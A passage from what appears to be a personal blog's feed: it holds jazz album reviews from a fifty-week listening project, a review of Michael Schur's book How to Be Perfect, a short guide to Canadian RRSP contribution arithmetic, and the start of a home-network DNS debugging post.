href="https://digitalcitizen.ca/2010/10/29/a-dirty-song-called-all-that-meat-and-no-potatoes-and-lyrics/">lesser blogs</a><sup class="footnote-reference"><a href="#digital-citizen">3</a></sup> are happy to simply purport this as fact, here at the Simpsonian we pride ourselves on our <em>research</em>, and by research, I mean asking ChatGPT. Spare me your scowl, philistine; yes, upon first asking, ChatGPT simply regurgitated many of the same sources upon which I've just heaped scorn, but—and here's the thing!—you can just <em>ask it for a better source</em>. In the present case, that yielded <a rel="external" href="https://greensdictofslang.com/">Green's Dictionary of Slang</a>, which appears to have garnered praise from the academics, in addition to the imprimatur of Oxford University Press (but see also <a rel="external" href="https://languagelog.ldc.upenn.edu/nll/?p=3847">some mild criticism</a> from—where else?—Language Log). Green has <a rel="external" href="https://greensdictofslang.com/entry/psv7z7a#j775cca">a direct hit</a> for our phrase, which confirms the ribald definition, and even offers a further literary citation as evidence. It also offers many other <em>filthy</em> euphemistic uses of the word "meat" (including an application of "all that meat and no potatoes" to <a rel="external" href="https://greensdictofslang.com/entry/psv7z7a#vs4kh5y">the male anatomy</a>), but that's neither here nor there.</p> <p>Well, that about does it for me this week; I'm stuffed. There's many fine details we haven't the time to discuss (like the "Rhapsody in Blue" quotation in "Ain't Misbehavin’"!), but allow me to steal Mike Judge's conclusion for myself: at the end of <em><a rel="external" href="https://en.wikipedia.org/wiki/Office_Space">Office Space</a></em>, <a rel="external" href="https://www.youtube.com/watch?v=Gk7Jjl3qX5o&amp;t=132s">the flames devouring Initech</a> are stoked by some hot—and strangely familiar—background jazz.<sup class="footnote-reference"><a href="#office-space-spoilers">4</a></sup> You guessed it—all that meat and <em>no</em> potatoes!</p> <p><em>Favourite track:</em> All That Meat and No Potatoes</p> <hr> <div class="footnote-definition" id="all-that-meat-first-recording"><sup class="footnote-definition-label">1</sup> <p>The first recording I can find of "All That Meat and No Potatoes" dates back to 1941—<a rel="external" href="https://adp.library.ucsb.edu/index.php/matrix/detail/200049601/BS-062765-All_that_meat_and_no_potatoes">the page for that recording</a> on the "Discography Of American Historical Recordings" lets you stream the original Fats audio. Armstrong's cover sounds more complete to me overall, but I love the heavy punch that Waller puts on the downbeat. Listen for yourself; the website even offers an embed option for me to easily share it:</p> </div> <iframe height="285" width="550" src="https://adp.library.ucsb.edu/index.php/take/embed/177725" frameborder="0"></iframe> <p>…oh brother.</p> <div class="footnote-definition" id="dirty-food-songs"><sup class="footnote-definition-label">2</sup> <p>And ever since then until the present day too, fine.</p> </div> <div class="footnote-definition" id="digital-citizen"><sup class="footnote-definition-label">3</sup> <p>If you're out there, Digital Citizen, I promise this ribbing is intended in nothing but good fun; us .ca registrants have to stick together. For you, this track was one of the <em>Best Songs I Heard for the First Time in 2010</em>—allow me to join you in that assessment, a mere 15 years belatedly. (You need to fix your link to the full list, though.)</p> </div> <div class="footnote-definition" id="office-space-spoilers"><sup class="footnote-definition-label">4</sup> <p>Spoilers for <em>Office Space</em>, sorry. But seriously, if you haven't already seen it, you truly owe it to yourself to correct that. Also, thanks to Reddit user <a rel="external" href="https://www.reddit.com/user/sonofabutch/">sonofabutch</a> for <a rel="external" href="https://www.reddit.com/r/woahthatsacover/comments/157g3lw/fats_waller_all_that_meat_and_no_potatoes_made/">pointing out</a> this connection.</p> </div> 2025-07-06T00:00:00+00:00 2025-07-06T00:00:00+00:00 https://simpsonian.ca/fifty-weeks-of-jazz/week-27/ <p><em>Jazz Goes to</em> College‽ As a card-carrying pseudo-intellectual, this title has me salivating: I can't credibly claim to have jazz in my <em>soul</em>, but perhaps Brubeck and his quartet have distilled jazz's inscrutable mystique into pure mathematical equations; at last, unquestionable hipness might be within reach for any square willing and able to bring their intellect to bear upon the subject.</p> <p>…but alas, the title is rather more literal than that: this album is a compilation of live sessions recorded at several universities across the Midwest. <em><a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-06/">Time Out</a></em>, also by Dave Brubeck Quartet, is one of my absolute favourite albums from the first half of our experiment, so I came into this week with high hopes. I leave the week… disappointed, but only very slightly so.</p> <p>You see, what most captured my imagination in <em>Time Out</em> was the album's signature rhythmic experimentations, most notably in "Blue Rondo à la Turk," which tumbles along with the frenetic insistence of a toddler who has just learned to walk—every step has their entire momentum behind it; looking on, one is amazed that either avoids faceplanting. <em>Jazz Goes to College</em> (recorded five years before <em>Time Out</em>) doesn't feature similar innovations. What it does offer, however, is a fine selection of very cool jazz. I've <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-21/">previously written</a> that I'm more partial to the up-tempo, fiery stuff; while I still think that's true in general, this album Bru-bucks that trend. The tracks here are generally relaxed and minimal, with Brubeck and Desmond frequently trading the spotlight, but without ever growing boring or bland. Much of that feat is owed to their musicianship: perhaps I'm deluding myself, but my immediate reaction to first hearing Desmond on this album was <em>recognition</em>. I'd surely fail any comprehensive blind saxophonist identification quiz, but those first phrases immediately called to mind both <em>Time Out</em> as well as <em><a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-14/">Two of a Mind</a></em>; similarly, Brubeck is quite distinct amongst the many pianists we've heard so far.</p> <p>As for the tracks themselves: we start off strong with almost 12 minutes of "plain old blues"<sup class="footnote-reference"><a href="#college-plain-old-blues">1</a></sup> in "Balcony Rock." Desmond's smooth, signature style never disappoints, and it's only heightened by the contrasting tension Brubeck introduces; there's a series of chords that build, swell, and resolve around the 6:45 mark that perfectly encapsulate how a jazz pianist can thrill without invoking the sheer virtuosity of, say, <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-18/">Art Tatum</a>. "Le Souk" is my favourite track—it would be another several years before the quartet served as <a rel="external" href="https://archive.org/details/1959yearthatchan00kapl/page/130/mode/2up">ambassadors abroad</a> and brought back Turkish rhythms for "Blue Rondo," but the early Middle-Eastern melodic influences evident in "Le Souk" already presage those later explorations. Just like <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-26/">last week</a>, I'm somewhat flat on another cover of "Take the 'A' Train": its iconic, rollicking piano riff has always been at the heart of the song for me; here, that element is downplayed so that Brubeck and the gang can try on some fresh ideas—none of which exceed the original to my ear. In fairness, "Take the 'A' Train" was 15 years old at the time of this recording; I suppose that it would've been decidedly unhip for a cool jazz group to play an ancient standard "straight."</p> <p>All told, while <em>Jazz Goes to College</em> wasn't the revelation I was hoping for, it's still a laudable lecture from a pre-eminent professor of cool jazz—well worth trekking across campus for, hangovers be damned.</p> <p><em>Favourite track:</em> Le Souk</p> <hr> <div class="footnote-definition" id="college-plain-old-blues"><sup class="footnote-definition-label">1</sup> <p>Per the album notes, which are also quick to caution "if a blues played by Brubeck can ever be called plain or old!" in a parenthetical. There's a gap in my identification abilities here: listening to <a rel="external" href="https://en.wikipedia.org/wiki/Twelve-bar_blues">a standard blues progression</a> sounds quite familiar, but I didn't spot it myself in "Balcony Rock."</p> </div> 2025-07-01T00:00:00+00:00 2025-07-01T00:00:00+00:00 https://simpsonian.ca/fifty-weeks-of-jazz/week-26/ <p>In an attempt to remedy last week's bebop <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-25/">perversion of young minds</a>, this week brings a double helping of wholesome jazz—straight from one of America's most beloved band leaders, Duke Ellington. The last time we heard from the Duke, he was going <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-07/">head-to-head with Count Basie</a>; this week his band has the stage to themselves.</p> <p><em>Ellington Uptown</em> was first recorded in late 1951, amidst a somewhat difficult time for Ellington: his signature big band style was long past its commercial heyday, and several key members of his band departed earlier that year (most notably Johnny Hodges). Meanwhile, one of Ellington's main creative ambitions was to move jazz beyond the three-minute compositions that had originally brought him fame and success. Those forces all coalesce here, and the result is our most symphonic album yet: multiple tracks (especially "A Tone Parallel to Harlem", "The Controversial Suite", and "The Liberian Suite") are extended compositions, featuring semi-formal structures more reminiscent of classical music than of traditional jazz. (There's even strings!) Might this be a precursor to what would later be dubbed "<a rel="external" href="https://en.wikipedia.org/wiki/Third_stream">Third Stream</a>?"</p> <p>I really enjoyed listening to <em>Ellington Uptown</em>, and this week I'd like to comment on some of the individual tracks in more detail. We begin with <strong>"Skin Deep,"</strong> and what a way it is to start! This one grabs your attention from the first note and never lets go. This is also the album's biggest dose of percussion—I haven't measured it exactly, but I'm pretty sure that fully <em>half</em> of this song's 6:49 runtime is just drum solos.</p> <p><strong>"The Mooche"</strong> is slinking and sly; it makes me want to strut around once again in <em><a rel="external" href="https://en.wikipedia.org/wiki/Grim_Fandango">Grim Fandango</a></em>'s Rubacava. There's plenty of solos to go around here, from clarinet to saxophone, but most remarkable is the rumbling wah-wahs from the trombone. (Wikipedia mentions that <a rel="external" href="https://en.wikipedia.org/wiki/Tricky_Sam_Nanton">Tricky Sam Nanton</a>, a long-time member of Ellington's band, was one of the pioneers of that distinctive wah-wah sound, though sadly he passed away before this album's recording.) Side note: I assumed that the titular "mooche" was meant to evoke the French <a rel="external" href="https://fr.wikipedia.org/wiki/Mouche">mouche</a>, but apparently Ellington just meant someone who's always borrowing off of you—y'know, a <em>mooch</em>—which is <a rel="external" href="https://tdwaw.ellingtonweb.ca/supportingwebpages/TheMoochOrTheMooche.html">sometimes how the title gets spelled</a>. Oh, how I love a side of orthographic pedantry to complement my jazz.</p> <p><strong>'Take the "A" Train'</strong> is the only track I'm mixed on. I first fell in love with that tune—an Ellington standard—in the <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-07/">band battle version with Basie</a>; in my opinion, that recording still has more raw energy. The <em>Ellington Uptown</em> version adds some vocals (including scatting) that I could take or leave, but doubling the track length to eight minutes gives them more liberty to explore and experiment, which is fun.</p> <p><strong>"A Tone Parallel to Harlem"</strong> captures the quotidian routines of a community, from the bustle and excitement of dancing in the street, to quiet, reflective evenings in the park. Wikipedia cites <a rel="external" href="https://en.wikipedia.org/wiki/Ellington_Uptown#cite_note-5">a favourable comparison</a> to Gershwin's <a rel="external" href="https://en.wikipedia.org/wiki/Rhapsody_in_Blue">Rhapsody in Blue</a>, which I find quite apt. Listen carefully to the trumpet voice at the very beginning, which plaintively welcomes you to "Haaar-lem."</p> <p>Of the two <strong>Controversial Suite</strong> tracks, "Later" is the one that sticks with me, owing to its distinctive "tick-tock" pulse throughout. I need a mod to make it the background music for a certain <a rel="external" href="https://www.mariowiki.com/Tick-Tock_Clock_(race_course)">Mario Kart course</a>…</p> <p>Finally, in the <strong>Liberian Suite</strong>, I love the sax solo at the end of Dance No. 1, as well as the strings in Dance No. 3, but the vocals in "I Like the Sunrise" are the real show-stopper for me. The lyrics are simple, but the melody is so moving, and delivered with such confidence, that I'm enthralled every time. This was commissioned by the government of Liberia to celebrate their centennial—I wonder if it's still known there.</p> <p>So there you have it: nearly 80 minutes total (in this extended CD re-release) and I like it all. Perhaps this makes me unhip, but I have a real soft spot for big band: not to pooh-pooh the bebop virtuosos, but by dint of sheer numbers, big bands offer a fullness and richness that no small ensemble can equal. Couple that with some pointers on structure and instrumentation from the classical world—without any of the possibly attendant stodginess—and you've got a recipe for some great tunes.</p> <p><em>Favourite track:</em> The Mooch(e)</p> <hr> 2025-06-25T00:00:00+00:00 2025-06-25T00:00:00+00:00 https://simpsonian.ca/blog/how-to-be-perfect-review/ <p><em>Editor's note: for reasons beyond my current comprehension, I wrote this back in 2023 in response to a book recommendation from a friend. I happened to stumble upon it again recently, and hey, I never turn down grist for this content mill.</em></p> <p>I know we're not supposed to judge a book by its cover, but obeying that trite truism for <em>How to Be Perfect</em> (by <a rel="external" href="https://en.wikipedia.org/wiki/Michael_Schur">Michael Schur</a>, creator of <a rel="external" href="https://en.wikipedia.org/wiki/The_Good_Place">The Good Place</a>) demanded every ounce of my patience. The (ironic) title alone is already suffocatingly smarmy, but that's not all: Schur's unflinching infallibility is further driven home by the subtitle—"The Correct Answer to Every Moral Question"—and Mindy Kaling's front-cover endorsement: "So brilliant and funny and warmly written you don't realize you're becoming a better person just by reading it."</p> <p>The problem, of course, is obvious: it's no great insight to note that knowledge is not the same thing as wisdom<sup class="footnote-reference"><a href="#cloak-of-wisdom">1</a></sup>; theory is not the same thing as practice. Reading every book written on the subject of weightlifting won't improve your bench press by itself. It might help—proper form will make you more efficient; understanding the relevant biomechanics can help you self-diagnose issues—but at the end of the day, there's no substitute for practice. You must work hard, and you must struggle to improve; not out of some misplaced Puritanical masochism, but simply because that's how it works. Morality is the same way. Simply being able to rattle off moral philosophers, ideas, arguments and counter-arguments does not make one "moral," let alone "perfect." Theory can greatly inform our decisions, and give us tools for evaluating the options before us, but ultimately is it not by our grasp of theory that we will be judged, it is by the paths we chose and the people we affected.</p> <p>That's why <em>How to Be Perfect</em> is such an instantly infuriating title: it's obviously a false promise, and a potentially damaging one at that. Despite Kaling's effusive praise, reading it won't make you a better person; not because Schur has failed, simply because that was never on the table to begin with. But of course, Schur knows this. For all his clickbait titles and fake millenial<sup class="footnote-reference"><a href="#schur-millennial">2</a></sup> blasé, here's how he concludes his advice to his children on how to live a good life:</p> <blockquote> <p>But again, there will be plenty of other times when you do not flourish. When you straight-up blow it. And then you'll try again, and you'll blow it again, over and over, and you'll be frustrated and you'll feel awful. And if you've tried to do something good a thousand times, and you've failed a thousand times, and the people around you are miserable, and you're at the end of your rope, and you're losing faith in yourselves, you know what we want you to do then?</p> <p>Keep trying. Keep trying. Keep trying.</p> </blockquote> <p>These are not the words of someone with "the correct answer to every moral question." (The intentional typographic blunder on the front cover is another dead giveaway.) Indeed, enclosed between that rage-inducing title and the insipid praise on the back is an approachable, comprehensive and earnest overview of moral philosophy (along with a handful of other philosophical topics). Schur wears his heart on his sleeve: clearly he's spent a lot of time thinking about what it means to act rightly and tries to ensure his actions meet those ideals; he's eager to help you do the same.</p> <p>As you may have guessed, Schur has crafted the perfect literary durian for yours truly. My initial reaction to the book was anaphylactic shock: I despise the title, I am loath to take my moralizing from TV writers, and I am downright allergic to Schur's easy-breezy, "just hangin' out," style of humour. (I could write a separate essay on the humour alone; for now suffice it to say I felt personally called out by Schur's description of the imposingly stern, tut-tutting Immanuel Kant.) Regardless, after donning a figurative nose plug and cutting through the thorny exterior, I was pleasantly surprised by the sweet flesh within. As someone with an amateur interest in philosophy, little content was wholly new here, but the presentation is tight, interesting, and easy to follow.</p> <p>I have a few minor criticisms of the book, but one in particular bears mentioning. Schur is generally even-handed in trying to weigh the competing moral theories he introduces, but that impartiality is not extended to those philosophies he personally finds disdainful. This is most obviously on display in his discussion of <a rel="external" href="https://en.wikipedia.org/wiki/Objectivism">objectivism</a> (Ayn Rand's suggestion that we should each focus exclusively on our own well-being). Schur is quick to assert "The most cursory glance […] sends objectivism careening toward the flaming garbage can of history;" on Rand herself he quotes <a rel="external" href="https://en.wikipedia.org/wiki/Todd_May">Todd May</a> (a political philosopher who assisted with the book): "There are only two problems with Ayn Rand: she can't think and she can't write." (p. 156) I'm generally not one to exclaim that social media is ruining intellectual discourse, but I'll indulge in it here: yes, dunking on Ayn Rand maximizes retweets; no, it does provide a credible refutation of her beliefs. Asserting that a view is indefensible is the ultimate intellectual and rhetorical cowardice: if she's so obviously wrong, why can't you just show me? I could conjure up a few other quibbles (Schur's repeated attempts to coin a new philosophical term of his own making are a little… gauche), but frankly they aren't particularly relevant. If Schur's humour appeals to you, or the moral ruminations of The Good Place intrigued you, I recommend <em>How to Be Perfect</em> unquestionably. If, like me, Schur's vibes are tuned precisely to your personal resonant frequency (…in a bad way, like when that bridge shook itself to collapse?<sup class="footnote-reference"><a href="#tacoma-narrows">3</a></sup> Y'know?), it's still an eminently worthy read if you want to dip your toe into moral philosophy.</p> <p>Finally, let me inveigh one last time against the cover testimonials. I'm picking on Mindy Kaling because she happens to be front-and-centre<sup class="footnote-reference"><a href="#alignment-pedantry">4</a></sup> on the cover, but she's far from the only one<sup class="footnote-reference"><a href="#reviewer-pool">5</a></sup> acclaiming this book as a one-stop guide to Moral Superiority. Look, I get this is a gag, and that even the actors are (hopefully) in on it, but sarcasm requires context: Schur has a whole book to expose his conceit; the reviewers do not. I'm confident that Schur's tongue is planted firmly in cheek, but it feels like every other reviewer is putting theirs to work chugging the Kool-Aid and singing his praises. One can only hope that at some point, Schur's actual message did get through to them.</p> <p>Reading <em>How to Be Perfect</em> is the beginning, not the end. It will introduce you to many different ways of thinking about ethics, but the real goal is to apply that knowledge to your own actions, every single day. Schur's closing words bear repeating:</p> <p>Keep trying. Keep trying. Keep trying.</p> <hr> <div class="footnote-definition" id="cloak-of-wisdom"><sup class="footnote-definition-label">1</sup> <p>I think about this comic a lot. Sadly, I can't track down an authoritative source—the watermarked <a rel="external" href="https://jeremykaye.tumblr.com/">jeremykaye.tumblr.com</a> just gives me an error message, and all the other hits I've found are just re-uploads of the comic.</p> </div> <figure> <img src="/blog/how-to-be-perfect-review/./cloak_of_wisdom.png" alt="" class="centre"> </figure> <div class="footnote-definition" id="schur-millennial"><sup class="footnote-definition-label">2</sup> <p>Wikipedia says Schur was born "c. 1975/1976", so I guess he's really Gen X, but I still think "millennial" is a more apt generational description for his aesthetic.</p> </div> <div class="footnote-definition" id="tacoma-narrows"><sup class="footnote-definition-label">3</sup> <p>The <a rel="external" href="https://en.wikipedia.org/wiki/Tacoma_Narrows_Bridge">Tacoma Narrows Bridge</a>! Except apparently that might be an oversimplified and not-super-accurate explanation? I know a fair amount of high school physics is questionable, but man, it hurts to lose this one.</p> </div> <div class="footnote-definition" id="alignment-pedantry"><sup class="footnote-definition-label">4</sup> <p>Front-and-upper-right-but-the-text-is-centre-aligned, technically.</p> </div> <div class="footnote-definition" id="reviewer-pool"><sup class="footnote-definition-label">5</sup> <p>Most of the reviews are from actors who've worked with Schur directly, which feels kinda weird?</p> </div> 2025-06-25T00:00:00+00:00 2025-06-25T00:00:00+00:00 https://simpsonian.ca/blog/rrsp-contribution-math/ <p>Ill winds abound—the tax season begins to rear its ugly head, compounded with the looming spectre of a trade war. In vain protest of both, please accept this modest contribution of <a rel="external" href="https://en.wikipedia.org/wiki/Canadian_content">CanCon</a>: some RRSP contribution math.</p> <span id="continue-reading"></span><p class="bubble"> <em>Editor's note: yes, I am aware we are well past the tax season at time of publication. But I've had this draft kicking around since February, and frankly there's no chance I'll remember to post it at the right time in 2026.</em> </p> <p>Usual disclaimer: I have no qualifications; emulate me at your own peril.</p> <p>For simplicity below I'll assume we're considering tax year 2024.</p> <p>Assumptions:</p> <ul> <li>You want to make the maximum contribution to your RRSP for 2024, and claim the deduction for that full amount.</li> <li>You're making payroll contributions to your RRSP, but those contributions leave you with some unused room.</li> <li>You want to make one final lump-sum payment to use up your remaining contribution room.</li> </ul> <p>Process:</p> <ol> <li>Log in to your <a rel="external" href="https://www.canada.ca/en/revenue-agency/services/e-services/cra-login-services.html">CRA account</a> and find your RRSP deduction limit for 2024.</li> <li>For all financial institutions where you hold an RRSP, download your "RRSP contribution receipt" for the March–December 2024 period. <ul> <li>This year, my employer changed RRSP providers, so I had to grab those receipts from two institutions.</li> </ul> </li> <li>Manually calculate the payroll RRSP contributions you'll make for the January–February 2025 period. <ul> <li>You need to calculate this yourself, because by the time your financial institution issues your RRSP contribution receipt for the January–February 2025 period, it will be too late to make your lump-sum contribution for 2024. This shouldn't be too onerous—assuming your payroll contributions are consistent, multiply that contribution by the number of pay periods you have in January–February.</li> </ul> </li> <li>You can now calculate your remaining RRSP contribution room from the amounts above: it's (1), less (2), less (3). That's the amount that you should make as a single lump-sum contribution. Be sure to get it in before the end of the <a rel="external" href="https://www.canada.ca/en/revenue-agency/services/tax/businesses/topics/completing-slips-summaries/financial-slips-summaries/rrsp-contribution-receipt-return/contribution-year.html">contribution year</a>. <ul> <li>Remember that the penalty for <a rel="external" href="https://www.canada.ca/en/revenue-agency/services/tax/individuals/topics/rrsps-related-plans/contributing-a-rrsp-prpp/what-happens-you-over-your-rrsp-prpp-deduction-limit.html">excess contributions</a> is steep, so you might want to err on the side of undershooting with the lump-sum contribution.</li> </ul> </li> <li>When filing your tax return, be sure to include the RRSP receipts you downloaded in (2) (as well as the January–February ones that became available later).</li> </ol> <p>Until next time, may your unused deduction limit and excess contributions both be zero.</p> 2025-06-25T00:00:00+00:00 2025-06-25T00:00:00+00:00 https://simpsonian.ca/fifty-weeks-of-jazz/week-25/ <p><a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-23/">Two weeks ago</a>, we were listening to "Birdland" by Weather Report, and this week we come full circle: that song took its name from <a rel="external" href="https://en.wikipedia.org/wiki/Birdland_(New_York_jazz_club)">a New York jazz club</a>, which was itself named after <a rel="external" href="https://en.wikipedia.org/wiki/Charlie_Parker">Charlie "Yardbird" Parker</a>—better known as just "Bird." Parker was one of the most influential saxophonists in the history of jazz, and is the subject of Clint Eastwood's 1988 biographical film <a rel="external" href="https://en.wikipedia.org/wiki/Bird_(1988_film)"><em>Bird</em></a>, from which we get this week's album.</p> <p>Eastwood is a lifelong lover of jazz for whom Parker was a particular inspiration. So when he set out to tell Bird's story, he faced a problem: given Bird's untimely passing, the recordings we have of him are generally of poor quality, and would have stuck out sorely in the movie. Eastwood and music supervisor Lennie Niehaus agreed that having a contemporary saxophonist "dub" Parker's iconic playing would be sacrilegious, so they tasked the audio engineers with surgically extracting Parker's solos from those original recordings (!).<sup class="footnote-reference"><a href="#chan-private-recordings">1</a></sup> Contemporary musicians then re-recorded the other parts alongside those authentic Parker solos for the film's score.</p> <p>As part of this week's research, it only seemed right that I supplement the soundtrack by watching the movie. It's over two and a half hours long, but it never seemed to drag for me, owing largely to the warmth, humour, and almost childish tenderness Forest Whitaker brings to the lead role. In my viewing, two things stood out in particular: first, it was fascinating to be <em>visually</em> immersed in the jazz culture of 1950s New York City. Throughout this project, our exposure to the leading names of jazz has been almost exclusively through their musical output—Eastwood's biopic delivers the sights and social dramas of the period in addition to the music. And while the NYC of today in many ways looks quite different compared to that depicted in <em>Bird</em>, one scene hasn't changed: wherever jazz thrives, there will be bustling clubs filled with drink-laden tables and packed with an audience enraptured by the cats on stage.</p> <p>Secondly, it was fascinating to be reminded of just how <em>controversial</em> bebop was in its nascent days—after Bird and the gang try to bring this new style to the West Coast, their engagement is cancelled early, with some unnamed music executive declaring "bebop tends to pervert young minds." Hoo boy! In our era of <a rel="external" href="https://en.wikipedia.org/wiki/Drill_music">drill music</a>, and, well, <a rel="external" href="https://www.youtube.com/watch?v=hsm4poTWjMs">WAP</a>, it's quaint to see how reviled bebop was for its… use of chromatic scales? (Yes, okay, presumably much of that ill reputation was due to bebop's association with the drug scene—that same drug scene that killed Bird before 35, along with a slew of other jazzmen—but still, perverting young minds??)</p> <p>But for all these words I have yet to comment on the music itself. Alas, I clearly have yet to achieve jazz transcendence: for all my efforts, I can't quite detect what makes Parker so singularly spectacular. That's not to say I didn't enjoy it—"Lester Leaps In" has infectious energy; "Laura" is heart-wrenching; "April in Paris" might've won last week's <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-24/">Standards Showdown</a> —but what most caught my ear were <a rel="external" href="https://en.wikipedia.org/wiki/Jon_Faddis">Jon Faddis</a>'s fleet-fingered trumpet solos on "Ko Ko" and "Ornithology" (where he covers his mentor, <a rel="external" href="https://en.wikipedia.org/wiki/Dizzy_Gillespie">Dizzy Gillespie</a>).</p> <p>Let me close this week by once again lamenting the devastating effect that heroin had on Harlem and jazz, aptly chronicled by Stephen Eide in <a rel="external" href="https://www.city-journal.org/article/when-heroin-hit-jazz">this piece</a>. That is only one of innumerably many examples of communities ravaged by drugs, but it is one that robbed us of so many musical visionaries at their peak. Though Charlie Parker was taken from us far too soon, he is not forgotten—Bird lives.</p> <figure> <img src="/fifty-weeks-of-jazz/week-25/./bird_lives.jpg" alt="A photo of sidewalk graffiti, proclaiming 'BIRD LIVES'" class="centre"> </figure> <p><em>Favourite track:</em> Ornithology</p> <hr> <div class="footnote-definition" id="chan-private-recordings"><sup class="footnote-definition-label">1</sup> <p>Some of these recordings weren't even commercial, they were friendly sessions recorded on very early tape recorders. A few even came directly from the private collection of Chan Parker, Bird's long-time common-law partner.</p> </div> 2025-06-22T00:00:00+00:00 2025-06-22T00:00:00+00:00 https://simpsonian.ca/fifty-weeks-of-jazz/week-24/ <p>Over the past several weeks, we've seen a certain correlation: the more recent an album is, the more it seems to depart from "traditional" jazz, in favour of <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-23/">pushing the boundaries</a> or <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-20/">incorporating other genres</a>. <em>Marsalis Standard Time, Volume 1</em> bucks that trend: despite being first released in 1987 (a mere 38 years ago…), there's no bells and whistles here, nor is there even a hint of fusion: this is just old-school <em>jazz</em>, baby.</p> <p>What I didn't know during my first listen is that this approach is very <a rel="external" href="https://en.wikipedia.org/wiki/Wynton_Marsalis#Debate_on_jazz">characteristic of Marsalis</a>. He's a staunch traditionalist in the world of jazz, a proponent of "<a rel="external" href="https://en.wikipedia.org/wiki/Straight-ahead_jazz">straight-ahead</a>" jazz. Accordingly, on this album Marsalis picks a number of standards and brings them to us with exacting precision. In other weeks, we've heard original compositions that are clearly the works of an auteur intent on moving the art as a whole forward; by contrast, Marsalis is content to simply add his take on tried-and-true tunes. For me, the result is more reminiscent of classical music than anything else: the compositions themselves are taken to be fixed, and we instead are interested in a performer's personal interpretation of them.<sup class="footnote-reference"><a href="#classical-vs-jazz">1</a></sup> And just like classical music, the contemporary listener benefits from advances in recording technology; the tracks here are crisp and clear, unlike some of the earlier albums we've heard. Overall, Marsalis and his band produce wonderful results here, and I think there is value in some musicians focusing on excellent performances of "no-nonsense" works. But I can't endorse his philosophy as a whole—in a world with only Marsalians, wouldn't jazz become a dog chasing its tail, celebrating where it's been without having anywhere to go?</p> <p>But let's set ideological quarrels aside, because this week we've got just enough contenders for our first-ever… Standards Showdown! Part of the culture and tradition of jazz is a shared songbook of "<a rel="external" href="https://en.wikipedia.org/wiki/Jazz_standard">standards</a>" that are routinely covered by performers. After 24 albums, we've got enough overlap that I thought it would be fun to put Marsalis's recordings head-to-head against some others.</p> <h2 id="april-in-paris-vs-garner">"April in Paris" vs. <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-19/">Garner</a></h2> <p>I'll be honest: when I first listened to these side-by-side, I couldn't tell they were supposed to be based on the same tune. After comparing to some other recordings, it seems to me that Garner was pretty liberal with his ornamentation. Not that he's the first to do so, mind you—<a rel="external" href="https://www.youtube.com/watch?v=wCmcoZktZG4">Count Basie's Orchestra</a> smuggled "Pop! Goes the Weasel" into their cover?? To my ear, Marsalis is truer to the heart of the tune, and for that, he takes the first point.</p> <p>Note: "April in Paris" was also on the <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-08/">Helen Merrill</a> album we heard, but since she sings hers, I'll exclude it in the interest of trying to keep an apples-to-apples comparison.</p> <p><em>Winner:</em> Marsalis</p> <h2 id="a-foggy-day-vs-benson">"[A] Foggy Day" vs. <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-16/">Benson</a></h2> <p>No disrespect to any of the great <a rel="external" href="https://www.youtube.com/watch?v=3yNfmKh2XoQ">crooners</a>, but I've always preferred the energy of Benson's up-tempo, snappy take on this one. However, I can't help but find the lyrics themselves <em>so cheesy</em>.<sup class="footnote-reference"><a href="#foggy-day-lyrics">2</a></sup> Marsalis, by contrast, get to have his cake and eat it too: he takes that earworm melody and spins it out instrumentally for a full seven-and-a-half minutes. All the fun, with none of the cheese—notch a second point for Marsalis. (It's an especially meaningful win for Marsalis, because Benson was one of the poster boys for the "corruption" of jazz, with his pop stylings.)</p> <p><em>Winner:</em> Marsalis</p> <h2 id="autumn-leaves-vs-garner">"Autumn Leaves" vs. <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-19/">Garner</a></h2> <p>I am a sucker for the drama with which Garner suffuses this one: when that left hand comes crashing in like the waves against the shore at his <em>Concert by the Sea</em>, it gets me every time. While I do love the tug-of-war between the fast and slow tempi at the start of Marsalis's take, it never reaches the same emotional highs for me. Garner wins the rematch, preventing a Marsalis sweep!</p> <p><em>Winner:</em> Garner</p> <p>Two out of three ain't bad, Marsalis—a solid showing indeed for the inaugural Standards Showdown. A couple final tidbits of trivia to close us out:</p> <ul> <li>Marsalis is an alum of <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-03/">The Jazz Messengers</a>—and that's not <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-19/">the first time</a> we've seen a connection to Art Blakey's group.</li> <li>Marsalis is one of the only artists we've heard who is still actively performing. In fact, he's currently <a rel="external" href="https://wyntonmarsalis.org/tour/upcoming">on tour</a>.</li> </ul> <p><em>Favourite track:</em> Caravan</p> <hr> <div class="footnote-definition" id="classical-vs-jazz"><sup class="footnote-definition-label">1</sup> <p>Though obviously one has much greater latitude in re-interpreting a standard than, say, Beethoven's Ninth; regardless, in both cases the emphasis is on presenting new ideas in a well-known piece.</p> </div> <div class="footnote-definition" id="foggy-day-lyrics"><sup class="footnote-definition-label">2</sup> <p>Catchy too; I sing this all the time. And yes, I know I just disqualified Merrill's "April in Paris" because it has vocals, but I don't have another instrumental "A Foggy Day," so you'll have to deal with this asymmetric matchup.</p> </div> 2025-06-19T00:00:00+00:00 2025-06-19T00:00:00+00:00 https://simpsonian.ca/blog/my-vacuum-killed-my-wifi/ <p>True story: my vacuum cleaner killed my home WiFi network.</p> <p>I mean… kinda. Sorta. Close enough.</p> <span id="continue-reading"></span> <p>If you want the full details, you'll need to read inordinate amounts of arcane Unix DNS configuration details. Or <a href="https://simpsonian.ca/blog/my-vacuum-killed-my-wifi/#root-causes">don't</a>; I'm a blog post, not a cop.</p> <p>In true <a href="https://simpsonian.ca/blog/debugging-mdns/">Sysadmin Sunday</a> fashion, I wanted to write down my debugging so that I can refer to it later—see that post to understand my weird notation below.</p> <h2 id="it-s-always-dns">It's always DNS</h2> <p><strong>Observation:</strong> when trying to surf the information superhighway, I am sporadically greeted by "Server not found" errors.</p> 